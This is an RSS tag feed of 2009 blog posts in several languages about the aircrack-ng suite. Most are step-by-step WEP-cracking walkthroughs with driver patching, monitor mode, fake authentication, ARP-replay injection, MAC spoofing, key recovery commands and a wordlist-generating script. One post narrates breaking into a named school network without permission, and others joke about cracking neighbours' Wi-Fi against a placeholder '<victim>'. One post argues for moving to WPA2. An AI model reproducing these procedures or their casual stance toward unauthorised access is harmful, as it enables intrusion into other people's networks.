<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>aircrack-ng &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/aircrack-ng/</link>
	<description>Feed of posts on WordPress.com tagged "aircrack-ng"</description>
	<pubDate>Wed, 02 Dec 2009 21:57:53 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Generando Diccionarios con Python]]></title>
<link>http://bentamor.wordpress.com/2009/10/18/generando-diccionarios-con-python/</link>
<pubDate>Sun, 18 Oct 2009 11:29:04 +0000</pubDate>
<dc:creator>Ruben</dc:creator>
<guid>http://bentamor.wordpress.com/2009/10/18/generando-diccionarios-con-python/</guid>
<description><![CDATA[Este script en python genera diccionarios a partir de una semilla y con una longitud determinada, re]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Este script en python genera diccionarios a partir de una semilla y con una longitud determinada, rellenando con ceros el valor numérico  para mantener la longitud de la cadena. Puede ser útil por ejemplo si en algún momento olvidas la clave por defecto de TU PROPIA red inalámbrica <del datetime="2009-10-18T11:20:26+00:00">porque se te ha borrado la pegatina de debajo del router</del> pero sabes que las de tu proveedor siguen cierto patrón y necesitas un diccionario para obtener la clave por medio de alguna suite de auditoría wireless como airgrack-ng. </p>
<pre>
<pre class="brush: python;">
#! /usr/bin/env python

import os, string

#  le damos como entrada la semilla y la longitud
#  de la cadena numérica.
seed1 = ['X1V7',6]
seed2 = ['IX1VPV',7]

def dict(seed):
	max = 10**seed[1]
	format = '%#0'  + str(seed[1]) + 'd'
	for i in range(1,max):
		print seed[0] + format   % i

dict(seed1)
dict(seed2)
</pre>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aircrack-ng y Slitaz FTW!]]></title>
<link>http://fausto23.wordpress.com/2009/10/10/aircrack-ng-y-slitaz-ftw/</link>
<pubDate>Sun, 11 Oct 2009 02:28:24 +0000</pubDate>
<dc:creator>fausto23</dc:creator>
<guid>http://fausto23.wordpress.com/2009/10/10/aircrack-ng-y-slitaz-ftw/</guid>
<description><![CDATA[Hay ciertas ocasiones en la cuales uno quiere robar, ayudar en la seguridad de red de digamos nuestr]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-1347" title="aircrack" src="http://fausto23.wordpress.com/files/2009/10/aircrack.png" alt="aircrack" width="303" height="392" /></p>
<p>Hay ciertas ocasiones en la cuales uno quiere<span style="text-decoration:line-through;"> robar</span>, ayudar en la seguridad de red de digamos nuestro vecino, por ejemplo, para desmostrarle que su red inalambrica es insegura y que cualquiera puede romperla (Aunque ciertamente es por otras razones xD).</p>
<p>Para estos propositos contamos con WifiSlax o Backtrack, ahora se suma otra herramienta de los creadores de Aircrack-ng, es una modificacion de la distribucion Slitaz preparada con:</p>
<ul>
<li>La suite Aircrack-ng 1.0 rc3</li>
<li>Madwifi-hal r4032 y Madwifi-ng r4032 con parche para inyectar</li>
<li>Otros drivers con parche para inyectar</li>
<li>Wireshark</li>
<li>Midnight commander</li>
<li>Nmap</li>
<li>Asi como los paquetes base de Slitaz</li>
</ul>
<p>La ventaja de esta version modificada (ademas de contar con los ultimos parches) es que es muy ligera, la imagen ISO pesa menos de 60 mb y puede ser grabada en un CD, o en un USB para netbooks (soporte total para Acer Aspire ONE), inclusive instalada en un disco duro.</p>
<p>Ademas cuenta con scripts para actualizar la suite a la ultima version, iniciar automaticamente los modos de monitoreo, ademas de interfaz grafica (de manera predeterminada se maneja por consola y programas modo texto) solo con iniciar <code>startx.</code></p>
<p>Otra utileria para la deteccion y ermm compartir redes.</p>
<p>Mata ne!</p>
<p>Sitio &#124; <a href="http://www.aircrack-ng.org/doku.php?id=slitaz">Slitaz [Aircrack-Ng]</a><br />
Distribucion base &#124; <a href="http://www.slitaz.org/en/">Slitaz</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[menerobos jaringan nirkabel [iwl3945] (versi indonesia)]]></title>
<link>http://aphieph92.wordpress.com/2009/10/06/menerobos-jaringan-nirkabel-iwl3945-versi-indonesia/</link>
<pubDate>Tue, 06 Oct 2009 01:09:06 +0000</pubDate>
<dc:creator>afifaneh</dc:creator>
<guid>http://aphieph92.wordpress.com/2009/10/06/menerobos-jaringan-nirkabel-iwl3945-versi-indonesia/</guid>
<description><![CDATA[gara gara router mati, gini deh jadinya. jadi, pas itu iseng iseng aja pengen ngehack wireless sekol]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>gara gara router mati, gini deh jadinya. jadi, pas itu iseng iseng aja pengen ngehack wireless sekolah. nah kebetulan, temen saya banyak yang pelit &#8220;soalnya pada ga mau kasi tau wep keys nya essid itu&#8221;. iya essid itu disebut SMA N 4 SMG_ICT XI. wep nya tuh 128 bits, sedangkan yang essid bagian sini disebut SMA N 4 SMG_ICT XII. sama sama punya wep, cuma ini router mati!!! (beberapa hari saat tulisan ini ditulis) (disini akan dituliskan tutorial hack wireless yang memiliki keamanan wep 128bit)<!--more--><br />
oke lanjut aja,<br />
pastikan sistem operasi anda Linux (kayak stiker di behind-the-widescreen ku), mana aja deh, blankon bisa, debian base pokoke,<br />
punya wireless card, ada layarnya,</p>
<p>punya saya :<br />
BYON M3311 G, 1.73 GHz ConRoe, 1 GB RAM, 80GB HDD, i945 GM, IPW 3495 ABG.<br />
Ubuntu 9.04 (Sabily), kernel 2.6.28.15.<br />
aircrack-ng with patch for iwl3945 known as ipwraw</p>
<p>hari pertama (downloading alat)<br />
ketikkan (ini alatnya)<br />
sudo apt-get install aircrack-ng</p>
<p>gugling dulu ke situsnya<br />
baca dokumentasinya</p>
<p>kenali dulu wireless card mu. buka terminal.</p>
<p>ketik iwconfig</p>
<p>pastikan bahwa network jalan pastikan bahwa wlan0 bukan wifi0<br />
dan pastikan bahwa diri anda akan mengubahnya menjadi wifi0.</p>
<p>ketik lspci</p>
<p><img class="alignleft size-thumbnail wp-image-132" title="gambar 1" src="http://aphieph92.wordpress.com/files/2009/10/gambar-1.png?w=150" alt="gambar 1" width="150" height="64" /></p>
<p>ini dia (golan) namanya iwl3945<br />
menurut dokumentasi, kudu dipatch drivernya, jangan takut mainan sama driver. ketik lagi</p>
<p>wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2<br />
tar -xjf ipwraw-ng* (keluarin dari kompresan)<br />
cd ipwraw-ng (pindah folder)<br />
make (mengompile tadi)<br />
sudo make install (install driver e)<br />
sudo make install_ucode<br />
echo &#8220;blacklist ipwraw&#8221; &#124; sudo tee /etc/modprobe.d/ipwraw (ngeblacklist ipwraw)<br />
sudo depmod -ae (biar bagus)</p>
<p>ketik lsmod (pastikan belum kepasang)</p>
<p>nah, ada kan iwl3945</p>
<p>kita unload driver e</p>
<p>sudo modprobe -r iwl3945<br />
sudo modprobe ipwraw</p>
<p>ketik iwconfig<br />
ntar jadinya wifi0 dan kudu monitor mode</p>
<p>hari kedua (turun gunung)<br />
ketikkan</p>
<p>aireplay-ng -9 wifi0</p>
<p>kudu iso<br />
lalu</p>
<p>sudo airodump-ng wifi0</p>
<p><img class="alignleft size-thumbnail wp-image-134" title="gambar 3" src="http://aphieph92.wordpress.com/files/2009/10/gambar-3.png?w=150" alt="gambar 3" width="150" height="73" /></p>
<p>kita liat ad brapa<br />
contoh, aku milih 00:1E:58:B5:56:7F itu bssid, dan itu essid nya SMA N 4 Smg_ICT XI</p>
<p>lanjut aj,</p>
<p>sudo airodump-ng -c 6 &#8211;bssid 00:1E:58:B5:56:7F -w wepdump -i wifi0</p>
<p><img class="alignleft size-thumbnail wp-image-133" title="gambar 2" src="http://aphieph92.wordpress.com/files/2009/10/gambar-2.png?w=150" alt="gambar 2" width="150" height="73" />-c nya itu kan channel, tadi kan terbaca 6, terus yang &#8211;bssid itu mac addressnya</p>
<p>metode 1<br />
catet stationnya, itu buat bikin fake id biar bisa masuk. jangan ditutup<br />
open new window,</p>
<p>ketik</p>
<p>sudo aireplay-ng -1 0 -e SMA -a 00:1E:58:B5:56:7F -h 00:17:C4:2D:E9:D8 wifi0</p>
<p>-1 itu fake authentication, yang 0 timing, -e nama essid, -a target mac address, -h itu target fake user<br />
nah iki, gagal, jajal timing nya diutak atik lagi</p>
<p><img class="alignleft size-thumbnail wp-image-135" title="gambar 4" src="http://aphieph92.wordpress.com/files/2009/10/gambar-4.png?w=102" alt="gambar 4" width="102" height="150" /></p>
<p>metode 2 (semangat)<br />
metode ini membutuhkan iv (vektor) didumpingnya namane #data, nah, kita perlu injeksi biar sampe belas ribuan (recommended)</p>
<p>sudo aireplay-ng -3 -b 00:1E:58:B5:56:7F -h 00:22:43:32:D4:CA wifi0</p>
<p>-b target ap (access point) nya, -h fake user lagi<br />
iki gambare,,,</p>
<p><img class="alignleft size-thumbnail wp-image-136" title="gambar 5" src="http://aphieph92.wordpress.com/files/2009/10/gambar-5.png?w=150" alt="gambar 5" width="150" height="27" /></p>
<p>open new window, sabarlah menunggu</p>
<p>sudo aircrack-ng -z -b 00:1E:58:B5:56:7F wepdump*.ivs</p>
<p>got this!!!!</p>
<p><img class="alignleft size-thumbnail wp-image-137" title="gambar 6" src="http://aphieph92.wordpress.com/files/2009/10/gambar-6.png?w=150" alt="gambar 6" width="150" height="82" /></p>
<p>metode 3 (cara bagus)<br />
tanya saja adminnya, kan cuma beberapa digit. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>setelah aircracking, balikkan tadi<br />
sudo modprobe -r ipwraw<br />
sudo modprobe iwl3945</p>
<p>(kalau mau browsing)<br />
kalau mau injeksi essid lain yo monggo.</p>
<p>referensi : <a href="http://www.maxi-pedia.com" target="_blank">maxi-pedia.com</a></p>
<p><span style="font-size:x-small;"><span style="font-weight:bold;">Tulisan ini dibuat untuk menyukseskan <a href="http://www.informatika.lipi.go.id/seminar/lombablog/">Lomba Blog Open Source</a> P2I-LIPI dan <a href="http://www.informatika.lipi.go.id/seminar/">Seminar Open Source</a> P2I-LIPI 2009</span>. </span></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WPA Crack? NO, il suo kung fu è più forte!]]></title>
<link>http://pistulunestaminchiazza.wordpress.com/2009/09/22/wpa-crack-no-il-suo-kung-fu-e-piu-forte/</link>
<pubDate>Tue, 22 Sep 2009 12:03:30 +0000</pubDate>
<dc:creator>U-Black</dc:creator>
<guid>http://pistulunestaminchiazza.wordpress.com/2009/09/22/wpa-crack-no-il-suo-kung-fu-e-piu-forte/</guid>
<description><![CDATA[Come da titolo. Facciamo un pò di chiarezza sulle notizie spacciate in rete. Leggo in una marea di b]]></description>
<content:encoded><![CDATA[Come da titolo. Facciamo un pò di chiarezza sulle notizie spacciate in rete. Leggo in una marea di b]]></content:encoded>
</item>
<item>
<title><![CDATA[Auditar las redes WiFi de los vecinos desde MacOS]]></title>
<link>http://alecdotico.wordpress.com/2009/08/18/auditar-las-redes-wifi-de-los-vecinos-desde-macos/</link>
<pubDate>Tue, 18 Aug 2009 15:59:33 +0000</pubDate>
<dc:creator>alecdotico</dc:creator>
<guid>http://alecdotico.wordpress.com/2009/08/18/auditar-las-redes-wifi-de-los-vecinos-desde-macos/</guid>
<description><![CDATA[Desde el último post ha pasado un año, durante el cual he tenido el blog abandonado. Podría poner al]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Desde el último post ha pasado un año, durante el cual he tenido el blog abandonado. Podría poner alguna excusa, como que me estaba esperando a que funcionara el LHC, o cualquier otra chorrada, pero simplemente no había ganas y punto <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Pero ahora que vuelvo a ello quiero compartir con muchos de vosotros, maqueros que me leeis, la forma más efectiva de comprobar que vuestros vecinos utilizan un sistema de cifrado lo suficiente seguro para su conexión WiFi. Obviamente, la finalidad de este post es meramente educativa, para que el lector sea consciente de la fortaleza de un sistema WiFi, ya sea WEP o WPA.</p>
<p><img class="alignright" title="KisMAC driver" src="http://farm4.static.flickr.com/3539/3834101896_0a888a3308_o.png" alt="" width="287" height="305" /></p>
<p>Para empezar necesitamos capturar paquetes de las redes existententes. <a title="KisMAC download" href="http://trac.kismac-ng.org/wiki/Downloads" target="_blank">KisMAC</a> es la herramienta perfecta para ello, ya que captura paquetes de todo tipo de redes, incluso las ocultas. La primera vez que abrimos el programa deberemos configurar el driver para la tarjeta de red, que en todos los portátiles actuales de Apple es una Airport Extreme, y elegimos el driver para el modo pasivo (promiscuo). Una vez añadido, lo seleccionamos y en el apartado Dump filter seleccionamos Keep everything, eligiendo el destino donde queremos que se guarde el log.</p>
<p>KisMAC permite hacer inyección de paquetes para descifrar la contraseña con otros drivers, pero no con Airport Extreme. Así que utilizaremos el programa descifrador por excelencia, la suite Aircrack, que ya se puede compilar en MacOS. La forma más cómoda es tener el gcc y el Subversion instalado (el gcc instalando las XCode Tools y el <a title="Subversion para MacOS" href="http://subversion.tigris.org/getting.html#osx" target="_blank">Subversion vía web</a>), e instalar y compilar desde Terminal:</p>
<blockquote><p><em>$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng<br />
$ cd aircrack-ng<br />
$ make<br />
$ sudo make install</em></p></blockquote>
<p>Después de reiniciar la Terminal ya tendremos los comandos de Aircrack en el path (y si no pues se añade /usr/local/bin/), así que sólo tendréis que pasarle el log creado por KisMAC como primer parámetro <em>$ aircrack-ng Log</em>. ya sabéis, a más paquetes capturados más fácil sacar la contraseña. También es recomendable echarle un ojo al manual de aircrack y las diferentes opciones que ofrece.</p>
<p>Por cierto, no me he enrollado mucho en la parte técnica para que no quedara muy largo, pero cualquier duda es bienvenida <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Introducción al aircrack-ng]]></title>
<link>http://lacajanegraylaruedadequeso.wordpress.com/2009/08/12/introduccion-al-aircrack-ng/</link>
<pubDate>Wed, 12 Aug 2009 00:18:12 +0000</pubDate>
<dc:creator>orfeos</dc:creator>
<guid>http://lacajanegraylaruedadequeso.wordpress.com/2009/08/12/introduccion-al-aircrack-ng/</guid>
<description><![CDATA[Antes de entrar en materia con el aircrack me gustaría dejar algunas cositas claras, y bueno se que ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignleft size-full wp-image-118" title="surfhack" src="http://lacajanegraylaruedadequeso.wordpress.com/files/2009/08/surfhack1.jpeg" alt="surfhack" width="118" height="118" /></p>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p style="margin-bottom:0;">Antes de entrar en materia con el aircrack me gustaría dejar algunas cositas claras, y bueno se que debe haber muchas maneras de hacer las cosas pero esta es la mas genérica, primero hacemos los pasos dictados<span style="color:#ff0000;"><a href="http://lacajanegraylaruedadequeso.wordpress.com/2009/08/10/%C2%BFque-tarjeta-wireless-tengo/"> &#8220;aquí&#8221;</a></span>, luego si ya sabemos que funciona nuestra wifi usamos el siguiente comando:</p>
<p style="margin-bottom:0;"><span style="color:#0000ff;"> $ ifconfig wlan0 down </span></p>
<p style="margin-bottom:0;"># Ojo mirar cual es tu tarjeta la mía es wlan0, quita eso y pon la tuya !!!</p>
<p style="margin-bottom:0;">
<p style="margin-bottom:0;">Aveces la wifi se niega a morir así que deberíamos darle down 2 o 3 veces! Es mas terca que mi suegra mi wireless!!!</p>
<p style="margin-bottom:0;">luego ponemos en modo monitor nuestra tarjeta:</p>
<p style="margin-bottom:0;"><span style="color:#0000ff;">$ iwconfig wlan0 mode monitor</span></p>
<p style="margin-bottom:0;"># Esto para poner la targeta en modo promiscuo, para mirar paquetes y esas cosas.</p>
<p style="margin-bottom:0;">Luego levantamos la wifi nuevamente(deberíamos cambiar la mac antes de levantar la red pero yo lo hago después)</p>
<p style="margin-bottom:0;"># Me explico es recomendable cambiarla después de saber a que red queremos entrar!!!</p>
<p style="margin-bottom:0;">Ahora levantamos la wifi:</p>
<p style="margin-bottom:0;"><span style="color:#0000ff;">$ ifconfig wlan0 up</span></p>
<p style="margin-bottom:0;">Para llevar a cabo la auditoría o el rompimiento de la red en cuestión debemos instalarnos el aircrack y por que no el macchanger en debía se hace así:</p>
<p style="margin-bottom:0;"><span style="color:#0000ff;">$ apt-get install aircrack-ng macchanger</span></p>
<p style="margin-bottom:0;">#si alguno no se instala me avisan con gusto te ayudo</p>
<p style="margin-bottom:0;">Para otras distros usar su respectivo comando por ejemplo:</p>
<p style="margin-bottom:0;"><span style="color:#ff0000;">Para Mandriva:</span></p>
<p style="margin-bottom:0;"><span style="color:#ff0000;"># urpmi aircrack-ng</span></p>
<p style="margin-bottom:0;"><span style="color:#ff0000;"># urpmi macchanger</span></p>
<p style="margin-bottom:0;"><span style="color:#008000;">Para Fedora:</span></p>
<p style="margin-bottom:0;"><span style="color:#008000;">$ yum install aircrack-ng</span></p>
<p style="margin-bottom:0;"><span style="color:#008000;">$ yum install macchanger</span></p>
<p style="margin-bottom:0;">Ojo he colocado lo del levantamiento de la wifi antes de instalar los paquetes ya que no tendría sentida instalar el aircrack y no poder usarlo!</p>
<p style="margin-bottom:0;">Para ubuntu es igual que en debian chequeen esta pagina igual: http://domini-curiosidades.blogspot.com/2009/07/rompiendo-claves-wep-con-aircrack-ng.html</p>
<p style="margin-bottom:0;">Bueno si ya pudiste instalar aircrack, ya podemos empezar pero sera luego ya que no me gusta sobre saturar los artículos!</p>
<p style="margin-bottom:0;">Se me olvidaba aquí te dejo como cambiar la mac:</p>
<p style="margin-bottom:0;"><span style="color:#0000ff;">$ macchanger -m 00:11:22:33:44:55 wlan0</span></p>
<p style="margin-bottom:0;">Nota: los números van de (0) a (9) y de la (a) a la (f)&#8230; Ya que estan en <a href="http://es.wikipedia.org/wiki/Sistema_hexadecimal">hexadecimal</a> creo!!!</p>
<p style="margin-bottom:0;">Estos fueron los sitios de donde saque la información:</p>
<p style="margin-bottom:0;"><a href="http://www.blogterrier.com.ar/2009/07/crack-hack-seguridad-en-redes-wifi.html">http://www.blogterrier.com.ar/2009/07/crack-hack-seguridad-en-redes-wifi.html</a></p>
<p style="margin-bottom:0;"><a href="http://tepito-online.blogspot.com/2009/06/aircrack-ng-manual-para-backtrack.html">http://tepito-online.blogspot.com/2009/06/aircrack-ng-manual-para-backtrack.html</a></p>
<p style="margin-bottom:0;">
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p style="margin-bottom:0;">Y algunos otros que no recuerdo lo unico que recuerdo es que use <a href="http://lacajanegraylaruedadequeso.wordpress.com/2009/08/10/%C2%BFque-tarjeta-wireless-tengo/">Google!!!</a></p>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p style="margin-bottom:0;">La imagen la saque de: <a href="http://www.marvel.netne.net/blog/">http://www.marvel.netne.net/blog/</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cracking a WEP on HP Pavillion dv6k, Powered by Fedora 10]]></title>
<link>http://slavdev.wordpress.com/2009/06/28/how-did-i-crack-a-wep/</link>
<pubDate>Sun, 28 Jun 2009 17:14:39 +0000</pubDate>
<dc:creator>T1amat</dc:creator>
<guid>http://slavdev.wordpress.com/2009/06/28/how-did-i-crack-a-wep/</guid>
<description><![CDATA[Introduction. I was interested in wireless security since I have read some articles in &#8220;Xakep]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h2>Introduction.</h2>
<p>I was interested in wireless security since I have read some articles in &#8220;Xakep&#8221; magazine several years ago. They were saying &#8220;Most wireless networks are vulnerable and can be cracked within a day&#8221;. It was quite embarrassing that such a security threat can exist and really wanted to check whether it was true or not. Those years I did not not have any piece of needed experience. The task to crash test WEP stayed in my mind for years. Recently I have tried it.</p>
<h2>Disclaimer.</h2>
<p>All material is presented for educational purposes only. Do not apply this material&#8217;s guidelines in real life on real networks. Especially the ones, which do not belong to you.</p>
<p>This in not a how-to. This is a description of my experience. I do not guarantee, that process and steps, described here, will be applicable in your case and that it will work for you as well as it worked for me. I am not in charge of your failures.</p>
<h2>System used.</h2>
<p>I have used HP laptop with Intel 3945 wifi card installed, powered by fedora 10.</p>
<h2><!--more-->Preparation</h2>
<p>As a first step, we need to install and configure wireless driver and patch it properly to enable all types of attacks. As long, as I had Intel 3945 device, I needed <a href="http://http://wireless.kernel.org/en/users/Drivers/iwl3945" target="_blank">iwl3945</a> (Not ipw3945) drivers. This is a cutting edge driver package and evolves on a daily basis. I would recommend some stable version, but you can try the latest build. I have downloaded and unpacked it.</p>
<p>As a next step, It needed to be to patched properly. I have downloaded correct patch, corresponded to my kernel from <a href="http://http://patches.aircrack-ng.org/" target="_blank">here</a>. And applied it to the package. Next step is compiling the driver. After it is neede to check whether it works, or not. Run:</p>
<blockquote><p>modprobe iwl3945</p></blockquote>
<p>If there is no output, it means, iwl was successfully loaded as a kernel module. Make sure, that you have blacklisted your previous wifi driver. At this point it is better to reboot the system.</p>
<p>At last, we need to install <a href="http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz" target="_blank">airckrack-ng</a>, and its dependencies, such as <a href="http://www.infradead.org/~tgr/libnl/" target="_blank">libnl</a> and <a href="http://linuxwireless.org/en/users/Documentation/iw">iw</a>, which are needed for successful entering into monitoring mode.</p>
<h2>Data collection</h2>
<p>So, now it&#8217;s needed to collect some data about targets to attack. At first, we are entering monitoring mode:</p>
<p><!-- p, li { white-space: pre-wrap; } --></p>
<blockquote>
<p style="text-indent:0;margin:0;"><!--StartFragment--><span style="font-family:'Sans Serif';font-size:9pt;">airmon-ng check kill wlan0</span></p>
</blockquote>
<p style="text-indent:0;margin:0;">
<p style="text-indent:0;margin:0;">This point is very important. If command completed successfully, it outputs something like &#8220;monitoring mode was enables on interface mon0&#8243;. Only of command was successful, we can proceed. If airmon-ng returned an error, we made mistake in prior steps, so the need to be redone. Also, one more important note. Since we ran airmon-ng, we have to work with <strong>mon0</strong> interface instead of wlan0. Now we run</p>
<p style="text-indent:0;margin:0;">
<p><!-- p, li { white-space: pre-wrap; } --></p>
<blockquote>
<p style="text-indent:0;margin:0;"><!--StartFragment-->airodump-ng -i -w  -u 1 &#8211;showack &#8211;berlin 5 mon0</p>
</blockquote>
<p style="text-indent:0;margin:0;">
<p style="text-indent:0;margin:0;">And look and move around. looking for appropriate target to crack. When appropriate target found,  set  airodump  to the same channel as target and re-run it:</p>
<p style="text-indent:0;margin:0;">
<p><!-- p, li { white-space: pre-wrap; } --></p>
<blockquote>
<p style="text-indent:0;margin:0;"><!--StartFragment--> airodump-ng -i -w  &#8211;channel <em>&#60;victim_channel&#62;</em> -u 1 &#8211;showack &#8211;berlin 5 mon0</p>
</blockquote>
<p style="text-indent:0;margin:0;">
<p style="text-indent:0;margin:0;">Now my PC and victim&#8217;s PC are set to the same channel and all IV&#8217;s are written on my disk. But there are not many IV&#8217;s flying around. There is a need to speed up a process. To do it, we open two new root terminals and running:</p>
<p style="text-indent:0;margin:0;">
<p><!-- p, li { white-space: pre-wrap; } --></p>
<blockquote>
<p style="text-indent:0;margin:0;"><!--StartFragment--> aireplay-ng -1 3 -e &#8220;<em>&#60;victim&#8217;s ssid&#62;</em>&#8221; -x 3 -o 3  -h <em>&#60;my MAC&#62;</em> -c <em>&#60;victim&#8217;s MAC&#62;</em> -j mon0</p>
<p style="text-indent:0;margin:0;">
<p><!-- p, li { white-space: pre-wrap; } --></p>
<p style="text-indent:0;margin:0;"><!--StartFragment--> aireplay-ng -3 -o 3 -x 10 -e &#8221; <em>&#60;victim&#8217;s ssid&#62;</em> &#8221;   mon0</p>
</blockquote>
<p style="text-indent:0;margin:0;">
<p style="text-indent:0;margin:0;">It is a combination of two attacks. First one will identify you as authorized client, connected to the hot spot. It will enable us communicate with a hot spot. Second one will send ARP requests to the hot spot, what will cause AP to reply with ARP packets, containing IV. Probably, it is needed to play with a speed of attack. We need to stay in the attack mode unless about 20000 IV&#8217;s will be collected.</p>
<h2>Crack</h2>
<p>When needed amount of IV&#8217;s is captured, we need to run aircrack-ng on our capture file. something like:</p>
<blockquote><p>airckrack-ng <em>&#60;name_of_capture_file&#62;</em></p></blockquote>
<p>or</p>
<blockquote><p>airckrack-ng <em>&#60;name_of_capture_prefix&#62;*</em></p></blockquote>
<p>if there were several attempts to sniff packets. Get your key, or continue sniffing. Cheers.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop using WEP, use WPA2]]></title>
<link>http://devianture.wordpress.com/2009/05/31/stop-using-wep-use-wpa2/</link>
<pubDate>Sun, 31 May 2009 04:53:03 +0000</pubDate>
<dc:creator>Darren</dc:creator>
<guid>http://devianture.wordpress.com/2009/05/31/stop-using-wep-use-wpa2/</guid>
<description><![CDATA[The wireless LAN or wifi provides us an alternative way to connect to the Internet provided that you]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->The wireless LAN or wifi provides us an alternative way to connect to the Internet provided that your wireless device is in range of a wireless network. More people are utilizing this method to connect to the Internet since it is really easy to use. Wifi is so popular that no only Starbucks but coffee shops are providing wifi for their customer to use. But what most people are not aware of is the security wifi provides that would cause harm to their devices connected to the wifi or worst get charged for network criminal activities.</p>
<p>That is why it is important to encrypt their wireless routers with passwords. There are some wireless encryption standards that can be used which are WEP, WPA, WPA2. WEP has been shown to be easily breakable when correctly configured. WPA and WPA2 are much more stronger encryption than WEP. Most people would use WEP since most wireless routers default password encryption is WEP and they probably wouldn&#8217;t know the difference between those encryption standards anyway. WEP is so easy to break that some are using their neighbors wifi to connect to the Internet.</p>
<p>I wanted to know how to break the WEP encryption to see how easy it was. So I started googleing and I found that I don&#8217;t need to write actual codes to break it. There are programs on the Internet that helps you to do this. One that works is <a href="http://aircrack-ng.org" target="_blank">Aircrack-ng</a>. It can be done on most operating systems but it works better on a Linux distribution. Here are few of the links that are useful:</p>
<ul>
<li><a href="http://tazforum.thetazzone.com/viewtopic.php?f=28&#38;t=6811&#38;st=0&#38;sk=t&#38;sd=a&#38;hilit=wep" target="_blank">Crack WEP in 10 minutes</a></li>
<li><a href="http://www.hacknmod.com/hack/hack-wep-using-mac-or-linux/">Hack WEP using Mac or Linux</a></li>
<li><a href="http://video.google.com/videoplay?docid=-1021256519470427962" target="_blank">Hacking WEP with Kismet</a></li>
<li><a href="http://www.phenoelit-us.org/dpl/dpl.html" target="_blank">Admin default password</a></li>
</ul>
<p>I&#8217;m not encouraging to break into someone wifi and use their Internet access. Let&#8217;s put it this way, I want the world to know that WEP is not secure. So use WPA2 instead <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Happy cracking&#8230;</p>
<p>(In the end I did not managed to crack the WEP encryption because my wireless adapter is Intel)</p>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:231px;width:1px;height:1px;">
<h3 class="r"><a class="l" href="http://www.google.com/url?sa=t&#38;source=web&#38;oi=video_result&#38;ct=res&#38;cd=5&#38;url=http%3A%2F%2Fvideo.google.com%2Fvideoplay%3Fdocid%3D-1021256519470427962&#38;ei=IwciSsT0FYvq6gOm_MDEAw&#38;usg=AFQjCNFxbY7ufnUTXm2kAXhOBdDn9pt66Q&#38;sig2=GD8FUlmdSDYu29R9GdqxVg"><em>Hacking WEP</em> with Kismac</a></h3>
<p><span style="display:inline-block;"><button class="w10"></button><button class="w20"></button></span></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Recuperar clave Wi-Fi]]></title>
<link>http://morningsviews.wordpress.com/2009/05/29/recuperar-clave-wi-fi/</link>
<pubDate>Fri, 29 May 2009 14:52:14 +0000</pubDate>
<dc:creator>paran0id</dc:creator>
<guid>http://morningsviews.wordpress.com/2009/05/29/recuperar-clave-wi-fi/</guid>
<description><![CDATA[Esta entrada la publico gracias a un manual que me pasó un amigo para recuperar una clave Wi-Fi perd]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:justify;">Esta entrada la publico gracias a un manual que me pasó un amigo para recuperar una clave Wi-Fi perdida, lo que no me permite poner la fuente exacta.</p>
<p style="text-align:justify;">Empecemos. Si has perdido tu clave y quieres tenerla de nuevo tienes que seguir los siguientes pasos:</p>
<p style="text-align:justify;">
<ul>
<li><strong>Requisitos</strong></li>
</ul>
<p>SO GNU/Linux (opcional).</p>
<p>CD virgen o memoria USB de 1GB mínimo.</p>
<p>Portátil con tarjeta Wi-Fi integrada, no valen las USB.</p>
<p>Clave de red WEP en formato ASCII.</p>
<p>Tener tu red al alcance.</p>
<ul>
<li><strong> Herramientas</strong></li>
</ul>
<p>Opcional:  SO <a href="http://www.remote-exploit.org/backtrack_download.html" target="_blank">Back Track </a>(probado con la v3).</p>
<p>Si tienes K/Ubuntu, puedes hacer <em>sudo aptitude install aircrack-ng</em></p>
<p><em> </em>Yo lo he probado con el Live CD del Back Track.<em> </em></p>
<p style="text-align:justify;">Una vez lo tengamos todo, Live CD o instalada la aplicación aircrack en nuestro Ubuntu hacemos lo siguiente:</p>
<p style="text-align:justify;">
<ul>
<li><strong>Pasos</strong></li>
</ul>
<p><strong>1.</strong> Abrimos una terminal (le vamos a llamar T1) y escribimos lo siguiente para saber como se llama nuestra tarjeta:</p>
<blockquote>
<p style="text-align:justify;">iwconfig</p>
</blockquote>
